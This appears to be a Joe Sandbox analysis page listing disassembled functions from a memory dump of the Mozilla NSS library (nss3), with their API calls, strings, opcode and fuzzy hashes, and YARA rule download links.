Instruction ID: fc6dde1613dd3562d85ae0e997df5238cc25d182fc1d34f4f88497342cfaaf5c
Opcode Fuzzy Hash: ce6c84ff0dbbabe651d78178abad38307c9f4feac1b59c624dfa22527b88358e
Instruction Fuzzy Hash: A34192B1E00209AFDF018FA9ED49BEE7BB9AF48358F044035F915A6351E772C915CBA1

Function 6C772E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C762D1A), ref: 6C772E7E

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

PR_Now.NSS3 ref: 6C772EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C772EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C762D1A), ref: 6C772F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C762D1A), ref: 6C772F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C772F81

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 36134d2d253f09f4b6737e6b296743583c3904c600495159d116f4eaf3cd1785
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 31312771601108CBEF30C656CE4CFAF7269EF80318F540576D43997AD1EB719986C671

Function 6C760E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C760A2C), ref: 6C760E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C760A2C), ref: 6C760E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C760A2C), ref: 6C760E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C760A2C), ref: 6C760E90
free.MOZGLUE(00000000), ref: 6C760EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C760A2C), ref: 6C760ED9

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: e3de597292919a9c80c2bf4cf6ff9219cfc421ec14c585002547143308088795
Instruction ID: b5572b5bdfdcf211a9f177a37e0188ab49e3a91ab47a2c326ce3e80d4bf0a98d
Opcode Fuzzy Hash: e3de597292919a9c80c2bf4cf6ff9219cfc421ec14c585002547143308088795
Instruction Fuzzy Hash: D7216E72F402A44BEB1069779E89B6B76AEDBC1708F090035DC1863E42FA61C81882A6

Function 6C76AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C76AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C76AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C76AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C889500), ref: 6C76AF23

Part of subcall function 6C7BF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C7BF0C8
Part of subcall function 6C7BF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7BF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76AF37

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: ec4b9f17689f1ca8edd622f199be3896cdc2eab13cf1e196b5a820e9cfa21fa2
Instruction ID: f2996bb9b384db88079174393df39a09865ba4f89c1ecb8e7dfe5ee62177c0a4
Opcode Fuzzy Hash: ec4b9f17689f1ca8edd622f199be3896cdc2eab13cf1e196b5a820e9cfa21fa2
Instruction Fuzzy Hash: A8213AB5A052109BE7108E19CE01B9A7BE4AF8573CF144729FC14ABB91E731D54487E7

Function 6C7EEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7EEE85
realloc.MOZGLUE(EDACB91A,?), ref: 6C7EEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C7EEEC5

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

htonl.WSOCK32(?), ref: 6C7EEEE3
htonl.WSOCK32(00000000,?), ref: 6C7EEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C7EEF01

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: e1e4f192d72f37b487fd359d16da897d7944962d0001176455dc681e813f7f6b
Instruction ID: c092418b57e781627288269c0de24a2705430f8a644670161108b72af177ac5d
Opcode Fuzzy Hash: e1e4f192d72f37b487fd359d16da897d7944962d0001176455dc681e813f7f6b
Instruction Fuzzy Hash: 1321D872A002189FDB209F28DD8479A77A8EF49358F148579EC199B641E330EC14C7E6

Function 6C76BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C7EDC29,?), ref: 6C76BE64

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C7EDC29,?), ref: 6C76BE78

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C7EDC29,?), ref: 6C76BE96

Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C7EDC29,?), ref: 6C76BEBB

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C7EDC29,?), ref: 6C76BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C7EDC29,?), ref: 6C76BEF3

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: bcc3d08e62f80c6ee8d0b42a0a98f4b0f56f01de0921c7f081e504c889a5575a
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: F211A575B402055BEB008B659E59FAA77ACAB42358F544038ED08EBB81EB31E909D7A1

Function 6C7F3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7F5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F3D3F

Part of subcall function 6C76BA90: PORT_NewArena_Util.NSS3(00000800,6C7F3CAF,?), ref: 6C76BABF
Part of subcall function 6C76BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C7F3CAF,?), ref: 6C76BAD5
Part of subcall function 6C76BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C7F3CAF,?), ref: 6C76BB08
Part of subcall function 6C76BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C7F3CAF,?), ref: 6C76BB1A
Part of subcall function 6C76BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C7F3CAF,?), ref: 6C76BB3B

PR_EnterMonitor.NSS3(?), ref: 6C7F3CCB

Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290AB
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C8290C9
Part of subcall function 6C829090: EnterCriticalSection.KERNEL32 ref: 6C8290E5
Part of subcall function 6C829090: TlsGetValue.KERNEL32 ref: 6C829116
Part of subcall function 6C829090: LeaveCriticalSection.KERNEL32 ref: 6C82913F

PR_EnterMonitor.NSS3(?), ref: 6C7F3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7F3CF8
PR_ExitMonitor.NSS3(?), ref: 6C7F3D15
PR_ExitMonitor.NSS3(?), ref: 6C7F3D2E

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 9dd37e6574c2133f63849d42e85cf16e4c7a2cbc965faf92a18d009fbfffb34c
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: E9110B756106005FF7305E69EDC6B9BB3E4AB11308F504534E42A87B21E632F81AC663

Function 6C7BFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C7BFE08

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C7BFE1D

Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C7BFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C7BFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C7BFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C7BFE6F

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: bca30debb0e8f499499ed6ccf2ebbc63301d0f9054d83a8cb3f8a2f3426d178b
Instruction ID: 7f5f250c572ce638aa226e2e66bee02daf151deddd97e9658c1ba749597c0dd7
Opcode Fuzzy Hash: bca30debb0e8f499499ed6ccf2ebbc63301d0f9054d83a8cb3f8a2f3426d178b
Instruction Fuzzy Hash: 581108BE600206AFEB018F54DD44A6B739CAF54B99F148038F91CA7B12E731D914CB92

Function 6C86FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C86FD9E

Part of subcall function 6C829BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C751A48), ref: 6C829BB3
Part of subcall function 6C829BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C751A48), ref: 6C829BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C86FDB9

Part of subcall function 6C74A900: TlsGetValue.KERNEL32(00000000,?,6C8C14E4,?,6C6E4DD9), ref: 6C74A90F
Part of subcall function 6C74A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C74A94F

PR_Unlock.NSS3 ref: 6C86FDD4
PR_Lock.NSS3 ref: 6C86FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C86FE0D
PR_Unlock.NSS3 ref: 6C86FE23

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 4b332e63de77ded3d97e7451bd32139e28134cfc6c1e90b3bca523c44c7f9bb2
Instruction ID: 77bf75dbb79cb7ee2dbc3b5a20300782d2c60c0a92d090027c02ab8a3869bc58
Opcode Fuzzy Hash: 4b332e63de77ded3d97e7451bd32139e28134cfc6c1e90b3bca523c44c7f9bb2
Instruction Fuzzy Hash: 6E01A5B6A04200AFDF249F19FD008567B32BB1227D7144775E82547BE1E722EE28C7C1

Function 6C74AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C74AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C74AF5C
%s at line %d of [%.10s], xrefs: 6C74AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C74AFC4
misuse, xrefs: 6C74AFCE

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: cfee433188a5bc2ad7be4d5ab35b2de825c73c9676d4df3cf4646775dbcf6630
Instruction ID: 1265ac16fd9a1631e9f074c0a430055778125fe7184adb34b93ce253025da441
Opcode Fuzzy Hash: cfee433188a5bc2ad7be4d5ab35b2de825c73c9676d4df3cf4646775dbcf6630
Instruction Fuzzy Hash: C391F175B002158FDB14CF29CA90AAEB7F1BF45325F1985B8E864AB791D334ED01CBA0

Function 6C7AFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C7AFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C7AFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7AFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C7AFDDE

Part of subcall function 6C7B8800: TlsGetValue.KERNEL32(?,6C7C085A,00000000,?,6C768369,?), ref: 6C7B8821
Part of subcall function 6C7B8800: TlsGetValue.KERNEL32(?,?,6C7C085A,00000000,?,6C768369,?), ref: 6C7B883D
Part of subcall function 6C7B8800: EnterCriticalSection.KERNEL32(?,?,?,6C7C085A,00000000,?,6C768369,?), ref: 6C7B8856
Part of subcall function 6C7B8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C7B8887
Part of subcall function 6C7B8800: PR_Unlock.NSS3(?,?,?,?,6C7C085A,00000000,?,6C768369,?), ref: 6C7B8899

Strings

pkcs11:, xrefs: 6C7AFC4F

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: e0b6af74ffef5f486e255659e87234a7015083a2c8b49d89a3678db6e7542b33
Instruction ID: 31f4964dd0cd78b46b9f40b39ad97722fb7f50d7f775ea61bd91401cfad04eaa
Opcode Fuzzy Hash: e0b6af74ffef5f486e255659e87234a7015083a2c8b49d89a3678db6e7542b33
Instruction Fuzzy Hash: 1D5116B2A01111ABEB118FA9DF49F5A3374AF4135DF140235DD046BB81EB34E906CB92

Function 6C6EBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C6EBE02

Part of subcall function 6C819C40: memcmp.VCRUNTIME140(?,00000000,6C6EC52B), ref: 6C819D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EBE9F

Strings

%s at line %d of [%.10s], xrefs: 6C6EBE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EBE89
database corruption, xrefs: 6C6EBE93

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 084f02c71802ed83688e25a11827b60f7d40efc68d63025de6be48797a403468
Instruction ID: 9d67eeb77218d38a3da0dc68399ddfec56799cd5af0c204a429b747ca8c3de1b
Opcode Fuzzy Hash: 084f02c71802ed83688e25a11827b60f7d40efc68d63025de6be48797a403468
Instruction Fuzzy Hash: C6316D31B0E3568BC310CF68C9D4AABBBA1AF8A354B0D4556EE841BB41D370EC06C7D8

Function 6C761EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C764C64,?,-00000004), ref: 6C761EE2

Part of subcall function 6C7C1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C761D97,?,?), ref: 6C7C1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C764C64,?,-00000004), ref: 6C761F13
